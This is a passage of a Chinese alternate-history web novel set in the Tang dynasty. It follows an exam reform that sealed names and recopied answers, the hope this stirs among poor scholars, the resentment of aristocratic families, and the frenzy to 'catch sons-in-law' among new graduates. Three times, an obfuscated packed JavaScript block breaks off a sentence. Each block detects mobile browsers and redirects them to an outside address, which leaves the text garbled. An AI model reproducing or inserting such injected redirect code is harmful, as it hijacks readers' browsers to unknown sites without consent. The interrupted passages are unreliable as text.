看着那一张张被桑皮纸覆盖、变得“面目全非”的考卷,崔诠的心在不断下沉。他仿佛能看到,那些本该凭借显赫姓氏就能脱颖而出的家族子弟的名字,正在这层薄纸下无声地呐喊、挣扎,最终归于沉寂。**
糊名完毕的墨卷,被迅速转移到誊录区。第二道工序,也是最关键、最耗时的工序——誊录,开始了。
书吏们两人一组,一人负责展读墨卷,用清晰平稳的声音,逐字逐句念出上面的内容;另一人则手持朱笔,在空白的朱卷上,一丝不苟地誊抄。规矩极严:必须使用统一的馆阁体,字迹需端正清晰,不得连笔,不得有任何个人风格标记;不得漏字、错字、增字;遇到考官批阅的记号、评语,亦需原样照录。每誊完一页,需由念读者核对,确认无误后,在页脚加盖一个小小的、代表该组编号的私章。整个过程,不得交谈与工作无关的内容,不得对考卷内容作任何评论或表情。**
起初,进展缓慢。书吏们紧张,念读者声音发颤,誊写着手腕僵硬。但随着时间的推移,在周围监察官员冰冷目光的注视下,机械而单调的工作逐渐进入轨道。库房内只剩下笔尖划过纸张的沙沙声,以及那些平板无波的念诵声,汇成一股奇异的、压抑的背景音。**
“……故曰,圣人无常心,以百姓心为心……”
“……若行两税,其利有三……其弊有二……”
“……火炮之用,贵在集中,辅以精兵……**”
一篇篇或华丽、或质朴、或空泛、或切实的策论文章,经过这毫无感情色彩的声音和笔触转译后,变成了一行行大小均匀、墨色一致的朱色文字,静静躺在崭新的纸张上。所有个人的笔迹特征——那可能泄露考生师承、家学渊源,甚至是事先约定好的特殊标记——都在这一刻消失得无影无踪。
王焕之背着手,在库房内缓缓踱步,目光如鹰隼般扫过每一个书吏,每一份正在誊录的卷子。偶尔,他会停下脚步,随机抽查一份已誊录完毕的朱卷,与旁边糊名后的墨卷原稿进行核对。崔诠也在一旁看着,他的心情更加复杂。作为礼部侍郎,他熟知以往科场的种种“惯例”与“操作”,也清楚这套看似笨拙的程序,对于那些依赖于笔迹认人、关节暗通的手段,是何等致命的打击。
“王郎中,”崔诠终于忍不住,低声道,语气带着一丝不易察觉的讥讽与无奈,“如此兴师动众,耗资靡费,就为了将这些文章换个笔迹重抄一遍?能防得住真正的‘有心人’吗?若是誊录之人被收买,故意抄错、漏抄,又当如何?”
王焕之转过身,平静地看着他:“崔侍郎,防弊如防水,堵不如疏,疏不如导。糊名誊录,便是筑起一道所有人看得见的堤坝。是否有人能越过堤坝,是能力问题;但有没有堤坝,是原则问题。至于收买……”他目光扫过那些埋头书写的年轻胥吏,“他们入此间前,皆已立下军令状,其家眷亦有专人‘照看’。誊录完毕,朱卷墨卷还需经过数轮交叉复核。若有一字之差,轻则流放,重则……崔侍郎是明白人,天后与**关于此事的决心,想必不用下官多言。”
崔诠默然。他当然明白。自从玄武门血洗和废太子事件后,朝野谁不明白那位天后和她手中那柄剑的决心与手段?他只是不甘,不甘于维系了数百年的游戏规则,就这样被一套冷冰冰的、毫无“人情味”的程序所取代。
就在这时,库房角落传来一阵轻微的骚动。一名负责复核的老吏匆匆走过来,手中拿着一份朱卷和对应的墨卷,脸上带着困惑与一丝紧张:“王郎中,崔侍郎,此处……似有疑义。”
王焕之与崔诠快步走过去。只见那份墨卷的时务策部分,在论述边备时,提到了“神策军新式火炮”,但在旁边空白处,有人用极淡的墨、极其飘逸灵动的笔迹,添了一行小字注解:“此物之利,在于集中使用,辅以精锐跳荡,可收奇效。家严于陇右观操时,曾亲见。”字迹与正文明显不同,且提到了“家严”(父亲)曾于陇右观操,这几乎是在明示其家族背景与军方高层有关。
“这是……”崔诠瞳孔一缩。他立刻认出了那种飘逸的笔迹风格,与弘文馆某位以书法著称的学士极为相似,而那位学士,正是某位功勋卓著的军方大佬的至交。这显然是考生在考卷上留下的、希望考官能识别出其身份的“暗记”。
然而,这份考卷已经被糊名。更关键的是,在誊录的朱卷上,这一行充满了提示性的小字注解,并没有被誊录上去!书吏严格遵循了“只誊录正文及考官批阅符号”的规定,将这行“多余”的文字,当作了与正文无关的东西,自然忽略了。
王焕之拿起朱卷,仔细看了看那处空白,又看了看墨卷上那行小字,脸上露出一丝冰冷的笑意:“看来,这位考生,还是不太习惯新规矩啊。”他转向那名老吏,“按规程,疑似标记,该如何处置?”
老吏看了一眼面无表情的崔诠,硬着头皮道:“回郎中,按规程,此类与答题无关、疑似传递信息之笔迹,应在糊名前由封弥官剔除,并记录在案。此次……是封弥官疏忽。至于誊录,未录,符合规程。”
“既符合规程,那便如此。”王焕之将朱卷递还,“这份朱卷,照常送入阅卷房。至于这墨卷上的‘私货’……”他拿起那份墨卷,看着那行漂亮却充满心机的小字,毫不犹豫地,伸手从旁边的浆糊碗中,蘸了一大坨浓稠的米浆,重重地、彻底地糊在了那行小字之上,将其完全覆盖、污染,再也无法辨认。**
“规矩就是规矩。”王焕之将处理好的墨卷丢回桌上,声音不大,却让整个库房的人都听得清清楚楚,“从今往后,科举场上,只有文章,没有父兄;只有才学,没有门第。任何想在规矩之外玩花样的,便是这般下场。继续誊录!”
崔诠看着那被米浆糊得一塌糊涂的考卷,脸色变了数变,最终化为一声无声的叹息。他知道,这不仅是糊掉了一行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000303|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
字,更是糊掉了一个时代的潜规则,糊掉了无数人心照不宣的特权与便利。**
这个小插曲像一阵寒风,吹过了整个誊录库房。所有书吏的腰杆挺得更直,神情更加肃穆,下笔也更加谨慎。他们明白,自己手中的笔,不仅是在抄写文字,更是在执行一道不容违逆的铁律。
誊录工作日夜不停,持续了整整五天。数千份考卷,变成了数千份笔迹雷同、只有编号的朱卷。墨卷被重新封存,送入有重兵把守的密库。而朱卷,则被分门别类,送往不同的阅卷房。
阅卷房内,气氛同样不同往日。阅卷官们——主要是翰林学士、弘文馆学士及部分清要官员——面对的,不再是那些或熟悉或陌生的笔迹,不再是那些可能暗示着身份家世的特殊用词或典故,而是一行行毫无个性、如同雕版印刷出来般的朱色文字。
起初,许多阅卷官极不适应。习惯了“知人论世”、“观其文如见其人”的他们,面对这些剥离了一切背景信息的文本,感到一种前所未有的茫然与……不安。他们无法再凭借对某家文风的熟悉、对某位大佬子弟的事先“关照”来打分,只能纯粹地、就文章本身来判断优劣。这对于那些**惯了人情社交式阅卷的官员来说,无异于一种能力上的重新考验。
“此文……辞藻华丽,用典精当,然于时务策,似有避实就虚之嫌……”
“此篇倒是直指漕运弊端,所提‘分段转运、沿途设仓减耗’之法,颇有见地,只是文采稍逊……”
“明算科此题,解法新颖,步骤清晰,结果无误,当为上等。”
争论依然存在,但争论的焦点,从“此人是否该取”,逐渐转向了“此文是否佳作”。评分标准在无形中被扭转。那些辞藻华丽但内容空泛的策论,在失去了“作者光环”后,暴露出了内在的苍白;而那些文字质朴却见解独到、数据翔实的文章,开始得到越来越多阅卷官的青睐。
当最终的名次初步拟定,糊名被揭开,一份份朱卷与墨卷重新对应,真相大白之时,贡院内再次陷入了某种诡异的寂静。
许多阅卷官看着那些高居榜前的陌生名字,以及他们背后标注的、往往并非显赫的籍贯与家世,脸上的表情精彩纷呈。惊愕、难以置信、沉思、乃至一丝隐晦的恐惧。他们亲手将一些寒门子弟的试卷,评为了优等。而一些他们原本以为必定高中、甚至事先可能打过招呼的世家子弟,名次却远不如预期。**
崔诠作为主考官之一,看着最终名单,手指微微颤抖。名单上有他熟悉的世家子弟,但排名已然靠后;更多的,是他从未听说过的名字,来自帝国各个偏远的角落。他知道,这份名单一旦张榜,将在长安、在天下引发何等地震。但他更知道,这份名单的背后,是那套冷酷而高效的“糊名誊录”程序,是天后与李瑾不容置疑的意志。他,以及他身后的许多人,已经无力改变。
“公平?”他心中咀嚼着这个词,感到一种前所未有的苦涩与复杂。这或许是一种公平,一种剥离了人情世故、血缘门第的、冰冷的公平。它不一定能选出最好的人,但它确实让更多的人,拥有了被“选择”的机会。**
王焕之拿起最终核验无误的榜单副本,仔细卷好,放入一个衬着铅板的铜管中,封上火漆。“崔侍郎,榜单可以张挂了。下官需立刻入宫,向**与天后复命。”
崔诠点了点头,望向窗外逐渐昏暗的天色。他知道,当明日朝阳升起,这张凝结着新规则、新程序的黄榜,将如同一把烧红的烙铁,烫在大唐帝国的肌肤之上,留下深刻而永久的印记。而“糊名”与“誊录”这两个原本陌生的词汇,也将从此深深烙进每一个读书人的心中,成为他们命运转折的起点,也成为这个时代不可逆转的潮流方向。
贡院朱红的大门,在夜色中缓缓打开。一阵秋风卷着落叶吹入,带走了连日的紧张与压抑,也带来了外界即将席卷而至的惊涛骇浪。制度的齿轮已经咬合,开始转动。所有人,都将在它冰冷而公正的碾压下,重新寻找自己的位置。**
第144章 寒门子弟奋
显庆五年,冬,长安及天下诸道州县。
礼部南墙外那张墨迹淋漓、犹带糨糊清香的黄榜,如同一块投入千年死水的巨石,激起的涟漪远非长安一城之喧嚣所能涵盖。当关于“糊名”、“誊录”、“寒门高第”的消息,随着驿马、商队、归家士子的口耳相传,以惊人的速度向帝国的每一个角落扩散时,一种难以名状的热流,开始在无数个曾经被遗忘的角落、无数个黯淡的胸膛中,悄然涌动,最终汇聚成一股席卷天下的炽热风潮。**这股风潮的名字,叫做“希望”。
长安,崇仁坊,波斯胡寺附近的廉价客舍区。
这里是大多数赴京赶考、囊中羞涩的寒门士子在长安的落脚点。低矮逼仄的房舍,终年弥漫着劣质炭火与隔夜饭菜的气息。往年放榜后,这里总是充斥着叹息、醉骂、典当行李的嘈杂,以及少数幸运儿被家族接走时的零星热闹。但今年,气氛截然不同。**
“中了!王兄,你看见了吗?那交州的陈仲举,明经科二甲第七!还有那陇西的李大郎,家里只是个开磨坊的,居然也中了进士!”一个身着洗得发白的青衫、面色因激动而潮红的年轻士子,挥舞着不知从哪儿抄来的榜单名次,冲进一间挤了五六人的大通铺,声音嘶哑却响亮。
通铺上,原本或躺或坐、神情麻木的几人,瞬间像被针刺般弹了起来。一个年纪稍长、面容憔悴的书生猛地抓住他:“张兄,此话当真?那陈仲举……果真只是交州寻常人家?”
“千真万确!榜文下面还用小字注了籍贯、三代,做不得假!还有,你们知道那明算科的头名是谁?洛阳一个商贾之子!商贾之子啊!”被称为张兄的士子几乎要跳起来,眼中闪着近乎狂喜的泪光。
房间里安静了一瞬,随即爆发出巨大的、混杂着难以置信与极度狂喜的喧哗。
“商贾之子……明算头名……天后亲点入将作监!”那憔悴书生喃喃重复,原本死灰般的眼睛里,一点点燃起骇人的光芒。他叫刘朴,河东人氏,祖上也曾出过小吏,但到他这一代早已没落,苦读二十余载,屡试不第,今年已是第四次赴京。前三次,他的卷子甚至未曾被认真看过——只因他无钱行卷,也无显赫师友推荐,笔迹更入不了那些阅卷名公的眼。他曾以为,那条“朝为田舍郎,暮登天子堂”的路,对他这样的人来说,只是书中一个虚妄的梦。
“刘兄!刘兄!”旁边一个更年轻的士子使劲摇晃着他的肩膀,“糊名了!真的糊名了!还有誊录!我听礼部衙门前的小吏说,所有人的卷子都被重新抄过,字迹一模一样!那些……那些世家子留下的暗记,全都没用!全都没用!”
“哈哈哈……哈哈哈哈!”刘朴忽然仰天大笑,笑着笑着,眼泪却滚滚而下,“有用!有用!朝廷……朝廷这次是动真格的!是动真格的啊!”他猛地站起身,因为激动和饥饿,身体晃了晃,却一把推开想要扶他的人,冲到墙角那口破旧的藤箱前,疯狂地翻找起来,最后捧出几本边角磨损、纸页发黄的书册和一沓写满密密麻麻小字的手稿。
“我不走了!今年不走了!”他转过身,脸上泪痕未干,眼神却亮得惊人,“我就留在长安!赁间更小的屋子,给人抄书、写信、代写状子!我要备考!备考下一科!不,不是下一科,是现在就开始准备!时务策!对,时务策!还有算学!还有律学!朝廷要实学,我就学实学!”
他的狂热感染了屋里的每一个人。原本打算卖掉最后几本书换路费回家的,默默把书又塞回了行囊;打算去投靠某个远房亲戚做幕僚的,开始重新审视桌上那些以前被认为“不登大雅之堂”的地理、水利、户籍方面的杂书。**
“对!留下来!长安米贵,居大不易,但我们有手有脚,还能饿死不成?”
“听说平康坊北里有些书肆,正在招募字迹工整的抄手,按页计钱……”
“还有转运使司下属的‘大唐商报’,听说也在招能写算、通文墨的见习·**,虽非正途,却能接触钱谷实务!”
“同去!同去!一边谋生,一边备考!明年,不,后年,我也要去那贡院里走一遭!让那糊名誊录,也来试试我的文章!”
类似的场景,在崇仁坊、在务本坊、在长安城中每一个寒门士子**的角落上演。失望与颓丧的气息被一扫而空,取而代之的是一种前所未有的、灼热的希望与干劲。酒馆里,谈论的不再是某位公子的诗会,而是今科策问的题目与高分答卷的传闻;旧书摊前,那些关于漕运、边防、刑律、农事的“杂书”,价格悄然上涨,变得抢手;夜深人静时,那些狭小窗户里透出的灯火,比往年此时,亮得更久,也更多。**
这股热流,并未止步于长安。它沿着驿道,顺着漕河,翻山越岭,涌向帝国的四面八方。
洛阳,南市附近的“清韵书斋”。掌柜惊讶地发现,近日来购买《九章算术》、《水部式》、《营缮令》乃至前朝《齐民要术》等书籍的年轻人明显多了起来,他们多是青衫襕袍的读书人打扮,面容或黝黑或清瘦,言谈间总不离“今科新制”、“糊名誊录”、“时务策”等字眼。一个来自汴州的年轻士子,甚至掏空钱袋,买下了一套价格不菲的《贞观政要》和手抄的《西域图记》,口中念念有词:“……光会诗赋不行了,得懂这些,得懂这些……”
扬州,运河码头旁的茶棚。几个脚夫打扮、却手脚干净的年轻人,围着一个识字的账房先生,听他读一份从长安传来的、字迹潦草的“榜文摘要”抄件。当听到“糊名誊录,至公无私”、“寒门隽才,多登甲第”时,几个年轻人眼中爆发出惊人的光彩。其中一人猛地灌下一大碗粗茶,抹了抹嘴,对同伴道:“二狗,俺不扛包了!俺回去就找里正作保,去县学报名!俺阿爷说过,俺曾祖那辈也是读书人,说不定……说不定俺家坟头也冒这股青烟了!”
蜀中,成都府锦江畔的一所简陋乡塾。头发花白的老塾师,颤抖着双手,向面前十几个年纪不一、衣着寒酸的学生,宣读着一封来自长安同窗的信。信中详细描述了今科放榜的种种,尤其是那几个寒门子弟鲤鱼跃龙门的细节。读完信,老塾师已是老泪纵横,他用枯瘦的手指拍打着案上的《礼记》,声音嘶哑却无比激动:“看到了吗?看到了吗?朝廷开了眼了!开了眼了!不再是他们几家几姓的玩物了!你们……你们都有机会了!好生读书!不光读圣贤书,田里的事,河里的事,衙门里的事,都要留心!留心啊!”塾中的少年们,挺直了原本因贫困和渺茫前途而有些佝偻的脊背,眼中的火光,比桌上那盏昏黄的油灯,亮了百倍、千倍。**
更偏远的岭南,桂州的一座竹楼里。收到兄长陈仲举高中进士、授官洛阳县尉的家信和随信寄来的几本长安新出的时务策范文汇编,年仅十六岁的陈季方哭了整整一夜。他家境比兄长当年更贫寒,父母早逝,全靠兄长在州学做杂役、抄书供养他读书。他曾无数次想过放弃,觉得读书无望。但这封信,这几本书,像一道劈开沉沉夜幕的闪电。他擦干眼泪,将那几本翻得卷边的旧经书和崭新的范文汇编郑重摆在一起,对着北方长安的方向,重重磕了三个头。从那天起,他读书更加疯狂,白天帮邻里抄写文书换取微薄的米粮,夜晚则就着星月与萤火虫的微光,啃读那些充满陌生概念的时务策,用树枝在沙地上演算着复杂的算题。兄长的成功,不是终点,而是一盏指路的灯塔,告诉他和无数像他一样的人:那条路,真的存在,而且,有人走通了。
这股奋发苦读的风潮,甚至吹到了边疆军镇。在河西节度使治下的某个戍堡,一个年轻的烽子(戍卒),在听到长安来的校尉醉后谈起今科有边军子弟因熟悉边情、通晓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000304|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
军务而在策问中脱颖而出的传闻后,默默地在巡逻的间隙,用炭笔在捡来的废纸上,开始记录边塞的地形、水源、部落分布以及自己对改善戍守的点滴想法。烽火台摇曳的火光,映亮了他年轻而坚毅的面庞,也映亮了纸上那些歪歪扭扭、却充满生命力的字迹。
当然,并非所有人都欢欣鼓舞。在那些朱门高第、清幽书院深处,惊愕、愤怒、鄙夷、恐慌的情绪在交织蔓延。
“糊名?誊录?简直荒谬!圣人取士,当观其行,察其言,知其家世渊源,方能辨其心性品德。如今弄得如同工匠核验货物,只论文字优劣,不论德行高下,岂非本末倒置?”某座门庭森严的宅邸内,一位致仕的老尚书将茶杯重重顿在案上,气得胡须直抖。
“那些田舍郎、商贾子,懂什么圣人之道?不过是记诵些时文套路,揣摩上意,侥幸得中罢了。治国平天下,岂是懂得些许钱粮刑名就够的?无百年诗礼传家之熏陶,何来经纬天地之器局?”另一位世家出身的翰林学士,在私下的文会中,对着三五知己,发出不屑的冷笑。
更有甚者,将矛头直指政策的推动者:“李瑾小儿,媚娘妇人,沆瀣一气,乱我祖宗成法,坏我士林风气!长此以往,斯文扫地,国将不国!”
然而,无论这些抱残守缺者如何愤懑抨击,那张黄榜带来的冲击与示范效应,已如同破堤的洪水,再也无法阻挡。越来越多的州学、县学开始调整教学内容,蒙馆塾师也开始告诫学生,除了经义,也要多留心身边的田赋、讼狱、水利。一种务实的、面向朝廷取士新标准的学风,正在帝国的基层悄然蔓延。
皇宫,紫宸殿侧殿。
李瑾将一份由转运使司情报网络搜集整理的、关于各地士林反响的密报,轻轻放在武媚娘的案头。密报中详细记录了从长安到岭南,从洛阳到蜀中,寒门士子的激动、苦读的新动向,以及世家大族的不满与非议。**
武媚娘细细翻阅着,冷艳的面庞上看不出多少波动,唯有眼角微微上挑的细微弧度,透露出一丝满意。**“沸反盈天,毁誉参半。”她放下密报,指尖在“寒门子弟,闻讯雀跃,悬梁刺股者众”、“州县学官,多有询问时务策讲授之法”等字句上轻轻划过,“这便是了。水已搅浑,接下来,该是让真正的大鱼,有机会浮上来了。”
“阻力依然不小。”李瑾平静道,“尤其是关东、江南的几个世家,已在暗中串联,试图在明年的州府解试中做些手脚,或是在荐举、考课等环节卡住这些寒门进士的升迁之路。”
“意料之中。”武媚娘淡淡道,眼中闪过一丝厉色,“让他们闹。不闹,如何分辨忠奸?不闹,我们接下来的刀,砍向谁?”她站起身,走到窗前,望着殿外铅灰色的天空,“糊名誊录,只是敲开了第一道门。门后的路,还长得很,也险得很。我们要做的,就是让这扇门,再也关不上。让天下人,尤其是那些泥腿子、穷书生们看清楚,只要你有真才实学,肯为朝廷所用,这条路,就能走得通!这股心气起来了,就再也压不下去了。”
李瑾颔首。他知道,这场科举改革的成败,关键不仅在于制度本身,更在于能否在天下寒门士子心中,真正点燃那把名为“希望”的火种。如今,火种已借着“糊名誊录”的东风,星星点点地燃了起来。尽管前路必然荆棘密布,暗箭难防,但只要这火种不灭,终有一天,会成燎原之势,将那些盘踞了数百年的门阀坚冰,烧出一条通天的裂痕。
殿外,北风渐起,卷过宫阙檐角,发出呜呜的声响,仿佛是这个古老帝国深沉的呼吸,也仿佛是无数在陋室、在乡野、在边塞点灯苦读的寒门学子心中,那愈燃愈旺的火苗,在风中猎猎作响的声音。一个不同于以往任何时代的,更加喧嚣、更加充满竞争与可能性的时代序幕,已经在这个冬天,被正式拉开。**
第145章 榜下捉婿热
显庆六年,春,二月。礼部南墙外,人声鼎沸,万头攒动。
虽已过放榜之日,但那股灼热的气流非但未曾散去,反而随着新科进士们的姓名、籍贯、年龄、婚配与否等详细信息逐渐流传开来,在长安城的街巷间发酵、升温,酿成了一场前所未有的奇特盛宴与狂欢。这盛宴的名字,便叫做“榜下捉婿”。
寅时三刻,天光未亮,礼部街及邻近的崇仁、务本诸坊,已是被各色车马、仆从、手持名刺家状之“媒妁”围得水泄不通。与往年不同,今年守候在此的,不仅有簪缨世族、累代公卿家的管事,更有大批新近崛起的勋贵、实权将领府上的人马,以及那些家资巨万、却苦于门第不高的富商巨贾派出的精明账房与能说会道的中人。空气中弥漫着焦灼、期待与一种近乎狩猎的兴奋。
“来了!来了!”不知是谁先喊了一声,人群顿时骚动起来。只见礼部侧门开启,一队身着崭新绿袍、头戴黑幞头的新科进士,在礼部官员的引领下,鱼贯而出,准备前往国子监行“释褐”之礼。尽管其中不少人衣衫依旧半旧,甚至打着不起眼的补丁,但那一身代表着“出身”的崭新绿袍,以及脸上尚未完全褪去的激动与志忑,让他们在这黎明前的微光中,成为了最耀眼的猎物。
“哪位是陈仲举陈进士?交州陈仲举!”一个声音洪亮、衣着体面的中年汉子率先挤出人群,目光锐利地扫过这群年轻面孔。
队伍中,一个身材瘦削、面容黝黑、眼神却格外清亮的年轻人微微一怔,下意识地应道:“晚生便是。”
那中年汉子眼睛一亮,快步上前,不由分说便是一个长揖:“陈进士!小人是邢国公(苏定方)府上外管事,奉我家阿郎之命,特来相请!阿郎最喜提携后进,尤重实学,闻进士大才,精通边务农事,渴慕已久,已在府中略备薄酒,万望赏光!”态度热情得近乎谦卑,与其说是邀请,不如说是半请半拉。**周围几名家丁模样的壮汉,已隐隐呈合围之势。
陈仲举哪里见过这等阵仗,他在交州时,莫说是国公,便是刺史府上的门房,也未曾对他有过好脸色。一时间竟有些手足无措,涨红了脸,讷讷道:“这……晚生还要去国子监……”**
“国子监那边,小人自会派人去说明,断不会误了进士的正事!”邢国公府的管事笑容满面,语气却不容置疑,眼看就要“搀扶”着陈仲举往不远处那辆颇为华贵的马车走去。
“且慢!”另一个声音插了进来,带着几分矜持与不容置疑的权威。一位身着锦袍、面白无须的中年宦官排众而出,他的出现让周围稍稍安静了些。**“陈进士,皇后殿下听闻你策论中关于岭南稻作改良的见解颇为新颖,特命尚食局备了些岭南贡果,请你入宫一叙,也好当面请教。”宦官声音不高,却让邢国公府的管事脸色一变,不由自主地松开了手。
皇后殿下?武后?陈仲举脑中嗡的一声,几乎不敢相信自己的耳朵。他一个边地寒门出身的新科进士,竟能得到当朝皇后的召见?这简直是做梦都不敢想的事情。
“原来是王内侍。”邢国公府的管事显然认得这位宦官,是武后身边颇为得用之人,语气顿时软了下来,赔笑道,“既是皇后殿下召见,自当以殿下为重。只是我家阿郎……”
“邢国公的美意,皇后殿下自是知晓的。”王内侍淡淡一笑,打断了管事的话,转向陈仲举,语气温和却带着不容置疑,“陈进士,请随咱家来吧。”
陈仲举晕晕乎乎,几乎是被王内侍带来的人“护送”着,上了一辆装饰朴素的宫中马车,在无数道或羡慕、或嫉妒、或深思的目光中,驶离了这片是非之地。他知道,从这一刻起,他的人生轨迹,将彻底改变。而这改变的开端,竟是这般戏剧性的“榜下捉婿”——尽管,皇后的召见,意义远非“捉婿”所能概括。
陈仲举被“抢”走,并未让这场“狩猎”降温,反而因其象征意义(皇后亲自出手“抢人”)而更加白热化。其余新科进士,顿时成了众人争抢的焦点。
“郑楷郑兄!郑兄留步!家父乃秘书少监郑公,与令尊昔年同窗,特命小弟前来相邀,家中已备下水酒,还请务必赏光!”
“张济张进士!敝东乃洛阳丝绸巨贾刘公,最是礼贤下士,闻张进士精通算学商道,渴慕之至,愿以首席账房之位,年薪千贯,并长安豪宅一座相赠,只求一晤!”
“赵兄!赵兄!小弟乃……”
呼喊声、邀请声、拉扯声、讨价还价声(商贾们直接开价)响成一片。有那出身稍好、见过些世面的,还能勉强保持镇定,拱手作揖,巧妙周旋;更多的寒门子弟,则是面红耳赤,手足无措,被几拨人马围在中间,拉来扯去,宛如狂风中的落叶。那些原本维持秩序的礼部小吏和巡街武侯,此刻也只能徒劳地呼喝几声,根本无法阻挡这股狂热的人潮。毕竟,拦谁?谁敢拦?这背后牵扯的,可是半个长安城的权贵与巨富。
进士队伍中,一个名叫卢照的山东寒士,因在策论中对河工治水颇有见地,此刻同时被工部某位郎中的家人和一位专营漕运的大商人盯上。两边开出的条件都极具诱惑力,一边是前程与人脉,一边是泼天的富贵。卢照家境贫寒,老母在堂,幼弟待哺,那商贾开出的价码足以让他一家立刻脱离赤贫,但那身上的绿袍和胸中的抱负又让他难以割舍。正当他左右为难、几乎要被那商贾的家丁“架走”之时,一名身穿普通文士袍服、面容清癯的中年人走了过来。**
“可是清河卢照?”中年人文质彬彬,语气平和。
“正……正是晚生。”卢照连忙拱手。
“在下李义府,忝为太子司议郎。”中年人微微一笑,递上一份名刺,声音不高,却让拉扯的双方都不由自主地停了手。李义府,虽官职不算极高,却是近年来天后身边的红人,以文才机敏著称,更重要的是,他出身寒微,是靠着科举和自身才干爬上来的典型。**
“李公!”卢照与两边的人都吃了一惊,连忙行礼。
“不必多礼。”李义府摆摆手,看向那商贾和工部郎中的家人,语气温和却带着一丝不容置疑的疏离,“卢进士是朝廷新贵,释褐礼后尚有诸多章程,二位如此拉扯,恐于礼不合,也有损朝廷体面。不若改日,由卢进士自行递帖拜访,如何?”
那商贾虽富,却也不敢得罪天后近臣,讪讪退下。工部郎中的家人也知李义府出面,此事已不可为,只得拱手告辞。
李义府这才转向惊魂未定的卢照,微笑道:“卢进士方才的窘迫,在下当年亦曾经历。寒门出身,骤登高第,总不免被各方觊觎。天后有命,着本官关照今科诸位寒门俊才,莫要被这市井喧嚣迷了眼。前程功名,在朝廷,在为国效力,不在这一时的阿堵物与蝇营狗苟。**且随队伍前行吧,释褐之后,自有安排。”
卢照心中大定,同时涌起一股暖流与明悟,深深一揖:“多谢李公指点迷津!晚生谨记。”他知道,自己这是被“天后一系”看中并保护起来了。这不仅解了眼前之围,更是一种无形的接纳与认可。**
类似的情形,在队伍中多处上演。明面上是各路权贵富商的争抢,暗地里,以李义府为首的一批出身寒微或紧跟天后的官员,正在有选择地接触、保护乃至招揽那些潜力出众的寒门进士。这是一场没有硝烟的人才争夺战,而天后与李瑾这一方,凭借着制度改革的发起者和最高权力的背书,显然占据了先机与大义名分。
然而,并非所有新贵都如此“幸运”或被“保护”。一些出身地方小吏、商贾乃至农户,家族毫无背景,本人也未在策论中表现出特别惊艳才华的进士,则成了各大家族和富商重点“围猎”的对象。对他们而言,能攀附上一门显贵,或得到巨贾资助,无疑是改变家族命运、在长安立足的捷径。一时间,各种“榜下订婚”、“即日下聘”的戏码频频上演,有的进士甚至在一日之内,接到了来自不同家庭的、条件一个比一个优厚的联姻邀请,恍如置身梦中。
更有甚者,一些精明的商贾,直接将目光投向了那些尚未发榜、但已在长安小有名气的落第举子。他们深知,能中进士者终是凤**麟角,但这些能闯过州试、来到长安参加省试的举子本身,也是难得的人才。趁其
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000305|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落魄失意之时雪中送炭,或聘为西席,或招为幕僚,甚至直接联姻,都是一笔极有眼光的长期投资。**一时间,长安各坊的客栈、酒楼,充满了说媒拉纤、洽谈“合作”的景象。
皇宫,紫宸殿。
武媚娘听罢王内侍关于“榜下捉婿”盛况的禀报,尤其是提到那几家关陇世家和山东旧族也一改往日矜持,派出得力家仆加入争抢行列时,不由得冷笑一声:**“往日里个个自诩清流,标榜门第,视寒门如敝履。如今见糊名誊录之下,自家子弟未必能占得便宜,便也顾不上脸面,急着要来分一杯羹,甚至想提前将这些新血纳入彀中了。真是……有趣得紧。”
李瑾侍立在一旁,闻言道:“他们急了。新制打破了他们垄断仕途的根基,他们不得不放下身段,用联姻、招揽的方式,试图重新建立联系,吸收新血,维系影响力。这是旧秩序面对冲击时,本能的应变与自救。”
“自救?”武媚娘眼中闪过一丝锐利的光芒,“只怕是饮鸩止渴。他们招揽的,是已经用新标准选**的人。这些人,即便暂时依附,心中所思所想,所学所长,与他们那套诗酒风流、玄谈清议的旧规矩,早已格格不入。时日一久,是东风压倒西风,还是西风压倒东风,犹未可知。”
“娘娘明鉴。”李瑾点头,“不过,也不能放任他们肆意招揽。需得给这些新科进士,尤其是寒门出身的,找一个更稳固的‘娘家’。”
“你的意思是……”
“按惯例,新科进士需拜谢座主、参谒宰相。今科知贡举的虽是礼部崔侍郎,但谁都知道,这新制是娘娘与陛下所定,是政事堂诸公推动。不若由政事堂出面,以‘为国储才,悉心教导’为名,在新进士授官前,集中于崇文馆或国子监进行短期讲**,由宰辅及六部有司官员亲自授课,讲授为官之道、朝廷典章、实务处置。为期……三个月。”李瑾缓缓道出谋划,“期间,统一居住,严格管理。一来,可让这些新人尽快熟悉朝务,免得上任后手足无措;二来,可隔绝外界过多干扰,尤其是那些别有用心者的拉拢;这三来嘛……”
